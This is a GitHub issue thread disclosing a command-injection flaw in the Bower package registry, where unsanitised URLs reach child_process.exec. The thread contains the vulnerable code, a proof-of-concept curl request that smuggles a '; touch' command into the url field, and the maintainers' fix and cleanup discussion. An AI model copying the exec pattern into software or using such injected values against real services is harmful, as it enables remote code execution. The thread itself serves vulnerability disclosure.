alexanderGugel commented 10 years ago

lib/validURL.js

module.exports = function(url, cb) {
    var exec = require('child_process').exec;

    exec('git ls-remote ' +  url).on('exit', function(exitCode) {
        cb(exitCode === 0);
    });
};

is a HUGE security vulnerability! It can be easily exploited and ANY package can be inserted. Malicious code can be executed.

Proof of concept

curl http://bower.herokuapp.com/packages -v -F 'name=proofofconcept' -F 'url=git://github.com/jquery/jquery.git; touch "alexanderGugel-sorry-proof-of-concept"'

creates a new file (but can execute ANYTHING). Since touch is the last command being executed, the URL seems to be valid and the package is being inserted properly.

To check if package has be registered:

http://bower.herokuapp.com/packages contains {"name":"proofofconcept","url":"git://github.com/jquery/jquery.git; touch \"alexanderGugel\"","hits":0}

Please correct me if I'm wrong, but this seems to be a big risk, since you could manipulate the registry etc.

sheerun commented 10 years ago

Thanks. It seems like serious vulnerability. It's only sad you didn't ping us privately. I'll try deploy a fix.

alexanderGugel commented 10 years ago

Sorry. I agree. I should have done that.

rayshan commented 10 years ago

Thanks @alexanderGugel and @sheerun. Let me know if I can help.

This is my biggest fear as I'm about to write a user management back-end, and why npm spend $$$ on a security audit.

sheerun commented 10 years ago

Fix is already deployed. I guess we can't know whether registry has been tampered before?

We need steps to prevent such things in the future.

benschwarz commented 10 years ago

It was dumb code that shouldn't have been deployed. More through / any review would've caught this—

rayshan commented 10 years ago

Heroku protected us with its file system: https://devcenter.heroku.com/articles/dynos#ephemeral-filesystem

I'm getting ready for some db work so I have a fresh db dump if we need to revert. I did a spot check on the top packages and row counts. They look fine. Unfortunately we don't have timestamps until we migrate to a new packages table.

I think we're ok.

rayshan commented 10 years ago

Deleted 'proofofconcept'.

bower / registry

Remote code execution - Major security vulnerability #87

Proof of concept